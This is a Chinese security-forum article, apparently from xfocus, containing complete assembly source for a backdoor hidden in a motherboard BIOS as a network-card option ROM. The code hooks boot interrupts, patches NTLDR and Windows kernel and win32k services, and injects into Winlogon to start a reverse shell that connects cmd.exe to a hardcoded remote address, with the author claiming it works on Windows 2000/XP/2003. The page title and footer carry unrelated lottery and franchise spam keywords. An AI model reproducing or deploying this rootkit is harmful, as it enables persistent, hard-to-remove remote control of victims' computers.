xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
添加文章 Xcon English Version

北京pk10在线2期计划:BIOS中隐藏Telnet后门


创建时间:2009-03-19
文章属性:原创
文章提交:cheng5103 (cheng_5103_at_126.com)

[项目简述]
     该项目仅为实验性项目,目的是学习国外技术。该项目主要目的是想隐藏一个Telnet后门
在主板的BIOS内,并让其随着计算机系统及操作系统成功的运行起来。运行后能反向Telnet连
接到指定的计算机接受CMD控制。

[关于作者]
     姓名:成松林 QQ:179641795 Email:cheng_5103@126.com 本人对计算机的诸多技术都很
有兴趣,常喜欢学习国外的开源项目,很佩服国外的计算机技术及知识。本人学历:中专,专
业:计算机,年龄:25,工作:中专学业完成后留校工作。废话:本人家景很穷,所以大学都
未上成就工作,希望有志人士能教小弟赚钱。我文才很差,故文章中有语法及表达问题请大家
多多谅解。

[项目涉及的相关知识及技术标题]
    1、实验环境配置问题。
    2、刷新BIOS技术问题。
    3、代码植入BIOS问题。
    4、源代码的相关问题:
       A、如何编写BIOS模块如:PCI、ISA。
       B、实模式关于HOOK磁盘中断的问题。
       C、磁盘中断中选择再次HOOK的问题。
       D、NT保护模式下设置物理地址映射。
       E、NT保护模式下线性地址寻址问题。
       F、HOOK KeAddSystemServiceTable。
       G、HOOK NtUserRegisterClassExWOW。
       H、HOOK Winlogon SASWndProc过程。
       I、在SASWndProc收到WM_CREATE消息建立线程运行Telnet Shell Code。
    5、源代码的其他技术:
       A、IVThook InLineHook  SSDT Hook
       B、SEH  PE  PEB  TIB
       C、Hash SharedUserData CheckSum
    6、......

   文章内容会在朋友的网站(51cto)上发布,文章还未整理好,相关的工具及相关的源代码会在以后整理发布.

   以下源代码采用编辑工具MASMPlus,直接拷贝到这里可能有格式上的问题,做了简单的调整!

   调试了几台我这儿的计算机,以网卡8139PCI模块加入BIOS刷入芯片,在调试计算机上安装

   win2k/xp/2003及操作系统运行后,以下源代码都能正常的反向连接到我指定的计算机上.

.586p                                                           ;编译工具:ML /AT *.asm ML(masm)版本6.11,BIOS中隐藏Telnet后门.
.Model Tiny                                                     ;作者:成松林,QQ:179641795,Emil:cheng_5103@126.com.实现源代码.
;*****************************************************************************************************************************************ROM_IMAGE_SIZE    equ 4                                         ;整个模块大小单位KB,固定大小4KB.
CSL_KERNEL_DEST    equ 0FFDF0800h                                ;SharedUserData数据结构线性地址.
CSL_USER_BACKDOOR    equ 07FFE0800h                                ;SharedUserData数据结构线性地址.
;*****************************************************************************************************************************************RealCode segment use16                          
Code16Start:
;*****************************************************************************************************************************************      org     00h                                               ;####注意:置代码开始地址以便于确定定置.####,****设置开始偏移:000h****
      dw      0AA55h                                            ;####注意:ROM头格式标识可以生气独立ROM.####,****标识开始偏移:000h****
      db      ROM_IMAGE_SIZE*2                                  ;####注意:ROM长度(单位:512B,块)最小8块.####,****长度开始偏移:002h****
      jmp     MyROMCodeStart                                    ;####注意:修改ROM模拟跳转指令到这里执行####,****指令开始偏移:003h****
      org     06h                                               ;####注意:编译器根据偏移长度选择JMP命令####,****JMP[rel16]长:003h****
ReturnOldROM:                                                   ;####注意:把数据放在头部以便于确定位置.####,****标识开始偏移:006h****
      db      0e9h,0,0                                          ;####注意:执行完跳转到旧的ROM代码跳转处####,****指令数据偏移:007h****
      db      'CHKSUM=',0                                       ;####注意:填写我们修改后的ROM数据检验和####,****数据偏移地址:010h****    
;*****************************************************************************************************************************************      org     18h                                               ;编译成支持PCI设备的模块:PCI ROM固定大小4KB,其他参看"PCI 2.2规范"教程
      dd      34001ch,52494350h,813910ech,180000h,200h,2010008h,8000h,506e5024h,201h,6500h,0,20000h,6400h,0,0;硬件realtek PCI8139网卡
;*****************************************************************************************************************************************MyROMCodeStart:
      pushf
      pushad
      push    es
      push    ds

      sti                                                       ;打开中断,以便接收键盘输入.
      mov     cx,0ffffh                                         ;等待,约为两二秒的按键消息.
      call    WaitPressScrollKey
      .if     !CARRY?                                           ;若按下Scroll Lock键,不运行我们的程序.
;*****************************************************************************************************************************************              xor     ax,ax
              mov     es,ax
              mov     eax,es:[19h*4]
              mov     es:[84h*4],eax                            ;借用中断向量84H,保存中断向量19H.

              mov     bx,es:[413h]                              ;40:13,BIOS数据区保存常规的内存大小,单位:KBs.
              and     bl,NOT 3                                  ;注意:要求分配的物理内存地址,以页作为基地址 .
              sub     bx,4                                      
              mov     es:[413h],bx                              
              shl     bx,(10-4)                                 ;bx *= 1024 / 16 (KBs->线性地址=KBs*1024,段:除以16)
              mov     es,bx                                    
              xor     di,di                                     ;es:di -> 分配的实模式高端内存前半部分开始处.
              
              push    cs
              pop     ds
              call    GetCurrentAddr                            ;offset Code16End = offset Code32Start
              GetCurrentAddr:
              pop     si                                        ;si->GetCurrentAddr在内存的地址
              mov     dx,si
              
              add     si,Code16End - GetCurrentAddr             ;ds:si->Code16End保护模式代码段内存的地址.
              cld
              mov     cx,((ROM_IMAGE_SIZE / 2) * 1024) / 4      ;拷贝保护模式代码数据到分配内存的前半部分.
              rep     movsd
              
              add     bx,100h                                  
              mov     es,bx                                    
              xor     di,di                                     ;es:0->分配的实模式高端内存后半部分开始处.
              mov     si,dx
              sub     si,GetCurrentAddr - Code16Start           ;ds:si->Code16Start实模式代码的内存的地址.
              mov     cx,((ROM_IMAGE_SIZE / 2) * 1024) / 4      ;拷贝  实模式代码数据到分配内存的后半部分.
              rep     movsd
            
              xor     bx,bx
              mov     ds,bx
              add     dx,NewINT19H - GetCurrentAddr             ;dx->NewINT19H内存的地址
              mov     ds:[19h*4],dx
              mov     ds:[(19h*4) + 2],es                       ;设置成我们的INT19H服务代码
;*****************************************************************************************************************************************      .endif
      pop     ds
      pop     es
      popad
      popf
      ;jmp     ReturnOldROM                                     ;跳转到原来的ROM代码的跳转处执行              
      retf
;*****************************************************************************************************************************************WaitPressScrollKey:                                             ;函数入口:CX=350约为10ms, 函数延时: 33(us)
      push    ax
      .repeat
             in      al,60h
             .if     al == 46h                                  ;Scroll Lock键扫描码:46h
                     stc
                     pop    ax
                     ret
             .endif
             in      al,61h  
             test    al,010h  
             .continue .if  !ZERO?
             .repeat
                     in      al,61h  
                     test    al,10h  
             .until  !ZERO?
             dec    cx
      .until cx == 0
      clc
      pop    ax
      ret
;*****************************************************************************************************************************************NewINT19H:
      pushf
      ;cli
      push    eax
      push    es
      ;jmp     $                                                ;bochs调试1#.
      xor     ax,ax
      mov     es,ax            
      mov     eax,es:[84h*4]
      mov     es:[19h*4],eax                                    ;恢复中断向量19H值.
      mov     eax,es:[13h*4]
      .if     es:[85h*4] != eax
              mov     es:[85h*4],eax                            ;借用中断向量85H,保存中断向量13H.reserved for BASIC 82h~85h
              mov     word ptr es:[13h*4],NewINT13H             ;设置NewINT13H在内存的地址.
              mov     es:[(13h*4) + 2],cs                       ;设置成我们的INT13H服务代码
      .endif

      pop     es
      pop     eax
      popf                                                      ;恢复现场
      int     84h                                               ;调用旧的中断向量19H.
      iret      
;*****************************************************************************************************************************************NewINT13H:
      pushf                                                     ;有指令要改变标志寄存器值.
      test    ah, 0bdh                                          ;是不是读数据到内存?ah=02,ah=42h.
      .if     !ZERO?                                            ;ZF=0
              popf
              int    85h                                        ;调用旧的中断向量13H.
              iret
      .endif
      mov     word ptr cs:[INT13LASTFUNCTION],ax
      popf
    
      
      int     85h                                               ;调用旧的中断向量13H.
      .if     CARRY?                                            ;CF=1,读失败退出服务
              iret
      .endif

      pushf
      ;cli
      push   es
      pushad
      ;jmp    $                                                 ;bochs调试2#.可输入指令:u cs:ip + 2.观察INT13LASTFUNCTION的值.
      mov    ax,00h
INT13LASTFUNCTION EQU $-2
      .if     ah == 42h
         lodsw
         lodsw                         ;参看"扩展INT13H规范"ds:[si + 2]指传输块数.
         les    bx,[si]                                    ;ds:[si + 04h]表示: 传输用的缓冲区内存地址.
      .endif
      .if     al != 00h
              xor     cx,cx              
              mov     cl,al
         mov     al,8Bh                                    ;设置搜索标志的第一个字节.
         shl     cx,9                                         ;(CX * 200h) 搜索搜索计数.
         mov     di,bx                         ;8B F0 85 F6 74 21 80 3D:MOV ESI,EAX TEST ESI,ESI JZ $+23h CMP BYTE PTR [ofs32], imm8
              cld                                               ;NTLDR OSLoder模块里的6字节做为标志,进行HOOK.注意:选择HOOK位置很关键!
              .while   1                                  
                       repne     scasb      
                  .break    .if  !ZERO?
                       .continue .if  dword ptr es:[di] != 74F685F0h
                       .continue .if  word ptr es:[di+4] != 8021h
                                                                ;(es:di - 1)->我们想被HOOK的指令代码开始处.

                       ;mov     byte ptr es:[di-8],0ebh         ;jmp $指令十六进制值0xebfe,设置在NTLDR暂停.
                       ;mov     byte ptr es:[di-7],0feh              
                       ;设置在NTLDR被HOOK指令处暂停:指令地址[0x31adf1]8:31adf1,注意:INT13H服务中读取NTLDR数据,
                       ;检测HOOK标识代码后,设置HOOK时用的指令及计算指令地址.因为NTLDR数据会被搬移到内存高端处.

                       xor     eax,eax                          
                       mov     ax,cs
                       sub     ax,100h                          ;ax->保护模式代码段
                       mov     bx,ax
                       shl     eax,4                            ;eax->保护模式代码段在内存的物理地址.
                  
                       mov     word ptr es:[di-1],15ffh         ;##FFh/15h:使用CALL NEAR [OFS32]指令进行NTLDR HOOK##
                       mov     es:[di+1],eax                    ;##设置CALL NEAR [OFS32]指令跳转地址,指令占6个字节##
                       ;通过上面获取NTLDR被HOOK处的运行地址:0x31adf1,用bochs调试暂停b 0x31adf1,观察我们的HOOK方式对否?.
                       mov     es,bx
                       or      es:[(KEASSTHOOK_PTE - Code32Start)],eax
                       add     eax,4                            ;eax->NTLDRCallAddr + 4,设置成我们的32位代码开始处执行.
                       mov     dword ptr es:[0],eax             ;es:[0]->保护模式段内变量NTLDRCallAddr所在内存虚拟地址.
                       ;jmp     $                               ;bochs调试3#可用xp es:di - 1观察HOOK情况及r显示寄存器.
             .endw
      .endif  
      popad
      pop     es
      popf
      iret
;*****************************************************************************************************************************************Code16End:                                                      ;offset Code32Start = offset Code16End
RealCode ends
;*****************************************************************************************************************************************ProtectCode segment byte use32                                  ;##########可工作在32位保护模式的代码#########
Code32Start:                                                    ;offset NTLDRCallAddr = offset Code32Start = offset Code16End
      NTLDRCallAddr dd ?                                        

      ;jmp     $                                                ;bochs调试4#,参看在NewINT13H调试为什么没运行到这里?
      pushfd                                                    ;esp = esp + 04h
      pushad                                                    ;esp = esp + 20h
                                                                ;扫描获取模块表基址(_BlLoaderData) 参看"NTLDR分析及源代码".
      mov     edi,[esp + 20h + 04h]                             ;edi->OSLOADER内部.
      and     edi,NOT 000FFFFFh                                 ;转换为镜像基地址 .
      cld
      mov     al,0c7h                                           ;C7h/46h/34h/00h/40h/00h/00h: MOV DWORD PTR [ESI+34h], 4000h
      .while  1
              scasb      
               .if     ZERO?
                    .break .if  dword ptr [edi] == 40003446h
              .endif
      .endw
      mov     al,0A1H                                           ;A1h/xx/xx/xx/xx: MOV EAX, [xxxxxxxx]
      .while  1
              scasb
              .break  .if     ZERO?
      .endw
      mov     esi,[edi]                                         ;esi->模块链表的开始基地址  .
      mov     esi,[esi]                                         ;esi->模块链表中的第一个节点.
      lodsd
      mov     ebx,[eax+18h]                                     ;EBX = NTOSKRNL.EXE 在内存镜像的基地址.
                                                                ;注意:这里不能直接调用NTOSKRNL导出函数.
      ;jmp     $
;*****************************************************************************************************************************************      call    PatchFunction_OverHookFunc                        ;跳转到KeASSTHook后面执行,安装HOOK问题.

KeASSTHook:                                                     ;HOOK KeAddSystemServiceTable   该函数.
                                                                ;lb 0x804c3bc6
      sub     dword ptr [esp],5                          ;修正ret指令返回地址为被HOOK函数开始处.
      pushad                                                    ;保护KeAddSystemServiceTable函数的现场.
      
      mov     eax,00000001h                                     ;KEASSTHOOK_PTE:保护模式代码的内存地址.
KEASSTHOOK_PTE EQU $-4                                          
      xor     ecx,ecx
      mov     ch,((Code32End - Code32Start) + 100h) / 100h      ;注意:代码小于2k,以便放在用户数据空间 .
      mov     edx,0C0000000h                ;edx->4MB页目录表中的第一个二级页表项 .
      xor     esi,esi                         ;esi->我们的代码开始地址,以页为基地址 .
      mov     edi,CSL_KERNEL_DEST                     ;拷贝代码到SharedUserData数据空间中去 .
      xchg    [edx],eax                                         ;映射我们代码的物理地址到线性地址00000.
      wbinvd                                                    
      rep     movsb                                             ;SharedUserData 空间参看其他相关的教程.
      mov     [edx],eax                                         ;恢复线性地址00000000原来的映射物理页 .
      wbinvd                                                    ;bochs调试6#:NTOSKRNL.EXE镜像基址 + 64.

                                                                ;保存被HOOK代码数据在堆栈中,后面恢复用.
      db      6Ah,0                    ;6Ah/xx: PUSH simm8
KEASSTHOOK_DISPLACED4 EQU $-1
      pushd   0
KEASSTHOOK_DISPLACED0 EQU $-4
                                                                ;bochs调试8#:lb 0xffdf08a4映射地址之后.
      push    (CSL_KERNEL_DEST + (MyKeAddSystemServiceTable - Code32Start))
      ret                                 ;跳转到MyKeAddSystemServiceTable函数处.
;*****************************************************************************************************************************************PatchFunction_OverHookFunc:                                     ;KeAddSystemServiceTable HOOK 问题处理.

      pop     esi                                               ;esi->KeASSTHook 函数在内存的实际地址 .
      mov     ecx,PatchFunction_OverHookFunc - KeASSTHook       ;ecx = KeASSTHook 代码的长度,准备移动 .
                                                                ;处理代码中的寻址问题,将KeASSTHook代码.
      lea     edi,[ebx+40h]                                     ;搬移到NTOSKRNL DOS MZ和PE头之间去执行.
      ;jmp     $                                                ;bochs调试5#,lb edi下一步运行在edi的值.
      mov     ebp, edi                         ;ebp用于后面HOOK时计算CALL rel 偏移用 .
      rep     movsb                                             ;指令:edi->PatchFunction_OverHookFunc .
      
      mov      edx,0A21CD4EEh                                   ;"KeAddSystemServiceTable",0  ->HASH值.
      call     PEApiHashFind                                    ;在NTOSKRNL模块中查找该函数以便HOOK用..
      ;jmp      $                                               ;bochs调试7#可以用到调试HOOK函数lb eax.
      xchg     esi,eax                                          ;指令:esi->KeAddSystemServiceTable函数.

      sub      edi,PatchFunction_OverHookFunc - KEASSTHOOK_DISPLACED0
      movsd                                                     ;InLine HOOK方式:保存被HOOK的代码数据 .
      sub          edi,KEASSTHOOK_DISPLACED0 + 4 - KEASSTHOOK_DISPLACED4
      movsb

      mov      byte ptr [esi-5],0e8h                     ;E8h/xx/xx/xx/xx:CALL rel 相关地址指令.
      sub      ebp,esi                                          ;调试例如:bochs调试5#edi lb 0x80400040.
      mov      dword ptr [esi-4],ebp                            ;call KeASSTHook,调试断点bochs调试5#处.

      popad
      popfd
;*****************************************************************************************************************************************                                                                ;模拟InLineHOOK NTLDR中的指令,并返回去.
      mov      esi,eax
      test     eax,eax
      jnz      short @F
      pushfd
      add      dword ptr [esp+4],21h
      popfd
@@:
      ret
;*****************************************************************************************************************************************MyKeAddSystemServiceTable:                                      ;bochs调试8#:开始是多任务JMP $断点很慢.
                                                                ;首先关闭HOOK NTOSKRNL.EXE!KeAddSystemServiceTable      
      mov     ebp,esp                                           ;bochs调试8#:lb 0xffdf08a4 u /50  查看.
      mov     edi,[ebp+8+20h]                     ;edi->KeAddSystemServiceTable 函数入口.
                                                                
      mov     ecx,cr0
      mov     edx,ecx
      and     ecx,NOT 00010000h
      mov     cr0,ecx                                           ;CR0.WP关闭页保护功能,以便对当前页修改.

      pop     eax                                               ;恢复KeAddSystemServiceTable HOOK 数据.
      stosd
      pop     eax
      stosb

      mov     cr0,edx                                           ;恢复 CR0.WP位到原来的状态            .
;*****************************************************************************************************************************************      mov     esi,[ebp+8+28h]                                   ;esi->_W32pServiceTable     服务描述表.
      mov     ecx,[ebp+8+30h]                                   ;ecx:                       服务的数目.
      mov     edi,[ebp+8+34h]                                   ;edi:_W32pArgumentTable     服务参数表.
                                                                ;具体参看"SSDT HOOK教程" ,讲解如何HOOK.
      .while  ecx > 0                                           ;HOOK win32k!NtUserRegisterClassExWOW .
              lodsd
              .if    byte ptr [edi] == 10h                      ;NtUserRegisterHotKey has 4 arguments .
                     mov    edx,20h
                     .while edx > 0
                            .if    byte ptr [eax] == 0f7h       ;F7h/0: TEST mem, imm
                                   mov    ebx,4                 ;search EAX+4..1 for bit mask of prohibited 'fsModifiers' flags
                                   .while ebx > 0
                                          .if    dword ptr [eax + ebx] == 0FFFF7FF0h    
                                                 inc     edi
                                                 .while  1      ;NtUserRegisterClassExWOW will have 6 or 7 arguments  
                                                         sub     esi,4
                                                         dec     edi  
                                                         .if     byte ptr [edi] >= 18h
                                                                 mov     eax,[esi]
                                                                 ;bochs调试9#:JMP $指令断点,在多线程下很慢,尽量采用断点命令.lb 0xffdf08f7
                                                                 mov     edi,(CSL_KERNEL_DEST + (MyNtUserRegisterClassExWOW-Code32Start))
                                                                 mov     [edi + (NTURCEWOW_ORIGINAL - MyNtUserRegisterClassExWOW)],eax
                                                                 mov     [esi],edi
                                                                 jmp     @F
                                                         .endif
                                                 .endw
                                          .endif
                                          dec    ebx
                                   .endw
                            .endif
                            inc    eax
                            dec    edx
                     .endw
             .endif
             inc     edi
             dec     ecx
      .endw
@@:      
;*****************************************************************************************************************************************      popad                                                     ;恢复KeAddSystemServiceTable函数的现场.
      ret                                                       ;返回KeAddSystemServiceTable函数去执行.
;*****************************************************************************************************************************************MyNtUserRegisterClassExWOW:                                     ;win32k!NtUserRegisterClassExWOW HOOK .

      pushad                                                    ;bochs调试10#:lb 0xffdf091e 调试9#获取.
                                                                ;使用bochs调试命令:x esp     u /50 eip.
      xor     eax,eax                                          
      
      push    (CSL_KERNEL_DEST + (MyNtUserRegisterClassExWOW_SEH - Code32Start))
      push    dword ptr fs:[eax]                                ;在堆栈建立异常结构
      mov     dword ptr fs:[eax],esp                            ;安装我们的异常处理,####调试发现安装的异常处理有时不能工作.####

      ;通过传来的参数检查类名是L"SAS window class" ,替换其'lpfnWndProc'过程,具体参看"win32应用程序窗口消息原理".
      mov     ebp,ds:[7FFE02B4h]                                ;EBP = MmHighestUserAddress
      mov     edx,[esp + 8 + 28h]                               ;edx->窗口类名,格式PUNICODE_STRING.
      .if     edx <= ebp
              .if     word ptr [edx] == 16*2                    ;size of L"SAS window class" 检查字符数对不?
                      mov     esi,[edx + 4]                    
                      .if     esi <= ebp
                              mov     ecx,16                    ;
                              mov     edx,72ABEC2Dh        ;72ABEC2Dh <-- HASH("SAS window class")
                              @@:
                                      lodsw
                                      sub     edx,eax
                                      ror     edx,7
                              loop    @B
                              .if     edx == 0                  ;替换窗口过程,前保存旧的过程在PEB中
                                      mov     esi,[esp + 8 +24h];esi->WNDCLASSEXW 类结构.
                                      .if     esi <= ebp
                                              mov     ecx,fs:[edx + 18h]              ;ecx->用户TIB,线程信息块存放线程信息.
                                              mov     ecx,[ecx +30h]                  ;ecx->    PEB,进程环境块存放进程信息.
                                              .if     ecx <= ebp                      ;bochs调试11#:lb 0xffdf0971          
                                                      mov     eax,(CSL_USER_BACKDOOR + (MySASWndProc - Code32Start))
                                                      xchg    dword ptr [esi + 8],eax ;替换'lpfnWndProc'过程,为我们的过程.
                                                      mov     [ecx + 0eb0h],eax       ;PEB->0EB0h = 旧的'lpfnWndProc' (保存旧的SASWndProc)
                                              .endif
                                      .endif
                              .endif
                      .endif
              .endif
      .endif

;*****************************************************************************************************************************************NTURCEWOW_Done:                                                 ;bochs调试11#:lb 0xffdf097f
      xor     eax,eax
      pop     dword ptr fs:[eax]                                ;移除堆栈的异常结构
      pop     ecx                                               ;移除我们的异常处理
      popad
      pushd   0                                                
NTURCEWOW_ORIGINAL EQU $-4
      ret                                                       ;返回NtUserRegisterClassExWOWHook执行.
;*****************************************************************************************************************************************MyNtUserRegisterClassExWOW_SEH:                                 ;注意:安装异常参看"win32应用程序设计".
      xor     eax,eax                                           ;lb 0xffdf098c 调试异常:兼容不很稳定 .

      cdq                                                       ;CDQ常用于除法运算之前调整EDX值.作用只是把EDX的所有位都设成EAX最高位的值.
      mov     dl,0B8h
      add     edx,[esp + 0Ch]                ;[esp + c]->Context.传过来的参数.
                                 ;Context->Eip
      mov     dword ptr [edx],(CSL_KERNEL_DEST + (NTURCEWOW_Done - Code32Start))
      ret
;*****************************************************************************************************************************************MySASWndProc:                                                   ;bochs调试12#: 程序现已运行在应用层下.
                                                                ;lb 0x7ffe099c
      push    eax                                               ;eax:旧的SASWndProc地址,返回方法:popad ret.
      pushad

      xor     eax,eax
      mov     edx,fs:[eax+30h]                                  ;ptr to PEB
      
      mov     eax,[edx+0EB0h]                                   ;original SASWndProc address
      mov     [esp+20h],eax

      mov     eax,[esp+2Ch]                                     ;get 'uMsg' argument
      .if     eax == 0001h                                      ;WM_CREATE
              mov     eax,[edx+0Ch]                             ;ptr to loader data
              mov     ecx,[eax+1Ch]                             ;ptr to first module in initialization-order list

              .repeat
                      mov     ebx,[ecx+8]                       ;module image base
                      mov     esi,[ecx+20h]                     ;ptr to module file name
                      mov     ecx,[ecx]                         ;ptr to next module
                      lodsb
                      or      al,20h
              .until  al == 'k'                                 ;assume KERNEL32.DLL will be first module starting with 'K'
                                                                ;EBX = KERNEL32 镜像基址 bochs调试13#:lb 0x7ffe09cc
              ;mov     edi,(CSL_USER_BACKDOOR + (PEApiHashFind - Code32Start))
              push    ebx                                       ;ebx:dwThreadID  变量使用堆栈.
              push    esp                                       ;push addr dwThreadID
              push    0
              push    0
              push    (CSL_USER_BACKDOOR + (TelnetShell - Code32Start))
              push    0
              push    0
              mov     edx,3f1764e5h                             ;hash("CreateThread")=3f1764e5h
              call    PEApiHashFind                             ;call     edi 是否需要这样调用?
              call    eax                                       ;invoke CreateThread,NULL,0,offset TelnetShell,NULL,NULL,addr dwThreadID
              pop     ebx                                       ;ebx:dwThreadID 去掉变量使用.
      .endif
      popad
      ret                                                       ;invoke original SASWndProc
;*****************************************************************************************************************************************TelnetShell:                                                    ;可用于安装在win2k/xp/2003 反向连接Telnet后门应用程序.
      xor     eax,eax                                           ;bochs调试14#:lb 0x7ffe09f0
      mov     edx,fs:[eax+30h]                                  ;ptr to PEB
      mov     eax,[edx+0Ch]                                     ;ptr to loader data
      mov     ecx,[eax+1Ch]                                     ;ptr to first module in initialization-order list

      .repeat
              mov     ebx,[ecx+8]                               ;module image base
              mov     esi,[ecx+20h]                             ;ptr to module file name
              mov     ecx,[ecx]                                 ;ptr to next module
              lodsb
              or      al,20h
     .until  al == 'k'                                          ;assume KERNEL32.DLL will be first module starting with 'K'
                                                                ;EBX = KERNEL32 image base
      mov     edi,ebx                                           ;edi = kernel32基址 bochs调试15#:lb 0x7ffe0a05
TelnetShell_Strat:
      mov     ebp,esp                                           ;bochs调试15#:lb 0x7ffe0a07

      push    00003233h
      push    5f325357h                                         ;esp->"WS2_32"
      push    esp
      mov     edx,2e864192h                                     ;Hash("LoadLibraryA")=2e864192h
      call    PEApiHashFind
      call    eax                                               ;LoadLibraryA(&WS2_32DLL)返回EAX=装载DLL基址.
      mov     ebx,eax                                           ;ebx=WS2_32基址

      sub     esp,1ech                                          ;WSADATA struct
      push    esp                                               ;esp->WSADATA struct
      push    202h                                              ;VersionRequested 0x202h
      mov     edx,0c05a351eh                                    ;Hash("WSAStartup")=0c05a351eh
      call    PEApiHashFind
      call    eax                                               ;WSAStartup(0x101, &WSADATA)

      push    0
      push    0
      push    0
      push    6                                                 ;IPPROTO_TCP=6 IPPROTO_UDP=17
      push    1                                                 ;SOCK_STREAM=1 SOCK_DGRAM=2
      push    2                                                 ;AF_INET=2
      mov     edx,0ef3c1916h                                    ;Hash("WSASocketA")=0ef3c1916h
      call    PEApiHashFind
      call    eax                                               ;s=WSASocketA(2,1,6,0,0,0)
      mov     esi,eax                                           ;esi=socket s

      push    0265359dah                                        ;sockaddr_in.sin_addr;192.168.100.111(06f64a8c0h)
      push    0feff0002h                                        ;0x02=AF_INET(sin_family);0xfffe=65534(sin_port)

      ;.repeat
              mov     edx,esp
              push    10h                                       ;sizeof(sockaddr_in)
              push    edx                                       ;esp->sockaddr_in struct
              push    esi                                       ;socket s
              mov     edx,5ddd8b01h                             ;Hash("connect")=5ddd8b01h
              ;mov     ebx,edi                                  ;ebx=kernel32基址
              call    PEApiHashFind
              call    eax                                       ;IPPROTO_TCP c=connect(s, &address, sizeof(address))
      ;.until  eax == 0                                          ;连接成功
      mov     ebx,edi                                           ;ebx=kernel32基址
      .if     eax != 0
              push    60000
              mov     edx,0cb9765ah                             ;Hash("Sleep")=0cb9765ah
              call    PEApiHashFind                            
              call    eax                                       ;invoke Sleep,60000
              mov     esp,ebp
              mov     ebx,edi                                   ;ebx=kernel32基址
              jmp     TelnetShell_Strat                         ;for another connection  
              ;ret
      .endif

      push    646d63h                                           ;winNT(cmd.exe)
      mov     edx,esp                                           ;edx->file name
  
      push    esi                                               ;STARTUPINFOA.hStdError
      push    esi                                               ;STARTUPINFOA.hStdOutput
      push    esi                                               ;STARTUPINFOA.hStdInput

      push    0                      
      push    0                                                 ;wShowWindow cbReserved2                  
      push    101h                                              ;STARTUPINFO.dwFlags                                      

      mov     ecx,0fh
@@:                              
      push    0                                                 ;STARTUPINFOA.cb ~ STARTUPINFOA.dwFillAttribute
      loop    @B

      lea     ecx,[esp+10h]                                     ;ecx->STARTUPINFOA.cb
      mov     dword ptr [ecx],44h                               ;STARTUPINFOA.CB=44h(len STARTUPINFOA)

      push    esp                                               ;esp->PROCESS_INFORMATION STRUCT(all 0)
      push    ecx                                               ;ecx->STARTUPINFOA STRUCT
      push    0
      push    0
      push    0
      push    1
      push    0
      push    0
      push    edx
      push    0
      mov     edx,4b5d35e6h                                     ;Hash("CreateProcessA")=4b5d35e6h
      call    PEApiHashFind
      call    eax                                               ;CreateProcessA(0, Addr"cmd.exe",0,0,1,0,0,0,si, pi)

      pop     ecx                                               ;PROCESS_INFORMATION.hProcess

      push    -1                                                ;time -1
      push    ecx
      mov     edx,8885abf2h                                     ;Hash("WaitForSingleObject")=8885abf2h
      call    PEApiHashFind
      call    eax                                               ;WaitForSingleObject(Handle, time)
      mov     esp,ebp
      mov     ebx,edi                                           ;ebx=kernel32基址
      jmp     TelnetShell_Strat                                 ;for another connection  
      ;ret
;*****************************************************************************************************************************************PEApiHashFind:                                                  ;入口:EBX=镜像基址 EDX=HASH32值 出口:eax=Api 地址,0表示未找到.
      xor     eax,eax                  
      pushad
      mov     ecx,[ebx+3Ch]                                     ;ecx = RVA of PE header
      mov     ebp,[ebx+ecx+78h]                                 ;ebp = RVA of export directory
      add     ebp,ebx                                           ;ebp -> ptr to export directory
      mov     ecx,[ebp+18h]                                     ;ecx = IMAGE_EXPORT_DIRECTORY::NumberOfNames
      mov     edi,[ebp+20h]                                     ;edi -> IMAGE_EXPORT_DIRECTORY::AddressOfNames
      add     edi,ebx
      .while  ecx > 0
              dec     ecx
              mov     esi,[edi+ecx*4]
              add     esi,ebx                                   ;esi->API字符串在内存物理地址.

              push    edx
              .repeat
                      lodsb
                      sub     edx,eax
                      ror     edx,7
              .until  eax == 0                                  ;字符结束
              .if     edx == 0
                  pop    edx
                      .break
              .endif
                pop    edx
      .endw
      .if     ecx > 0
              mov     edx,[ebp+024h]
              add     edx,ebx                                   ;AddressofOrdinals
              mov     cx,[edx+ecx*2]
              mov     eax,[ebp+01ch]
              add     eax,ebx                                   ;AddressOfFunctions      
              add     ebx,[eax+ecx*4]
              mov     [esp+1Ch], ebx                            ;overwrite saved EAX with ptr to export
      .endif
      popad
      ret
;*****************************************************************************************************************************************Code32End:                                                      ;感谢: eEye RootKit RomOS开源项目,国外的技术我们永远学不完.
ProtectCode ends                                                ;有不正确的地方,成松林很高兴各位指出这样我才会学到更多知识.
end   Code16Start
北京pk10单双大小计划 北京pk10冠军开奖走势图 河南快赢481投注技巧 北京pk10彩票公式 北京快乐8选一秘诀博客 北京快乐8网页预测
北京pk10冠军大小 北京赛车冠军怎样选5码 北京pk10冠军大小 上海时时乐胆码 快乐12缩水软件下载 河南省快赢481
北京赛车冠军规律破解 北京pk10预测冠军定5码 北京pk10只押冠军技巧 北京赛车冠军怎样选5码 北京pk10在线2期计划 北京赛车冠军怎样选5码
北京快乐8预测 北京快乐8在线开奖直播 北京快乐8和值走势图
快餐早点加盟 早龙早餐加盟 早点加盟多少钱 安徽早点加盟 早餐加盟开店
传统早餐店加盟 绝味加盟 早点连锁加盟店 便民早点加盟 早点加盟多少钱
动漫加盟 早点粥加盟 早餐系列 上海早餐加盟 加盟早点
安徽早点加盟 健康早点加盟 早餐项目加盟 北京早点摊加盟 早点快餐店加盟
河南22选5开奖公告 喜乐彩软件 江苏十一选五软件 体彩内部员工揭秘11选5 重庆时时彩开奖
陆续更新什么意思 007大战皇家赌场电影 德胜线上娱乐 北京快乐8全包稳赚法 幸运飞艇计划手机版
分分彩不亏钱的玩法 pk10赛车冠军永无规律 山西11选五开奖结果 内蒙古时时彩直播开奖 极速时时彩平台
大公开一码中特 青海快三走势图 平特肖比赛有奖 广东快乐10分乐彩时彩 金福彩票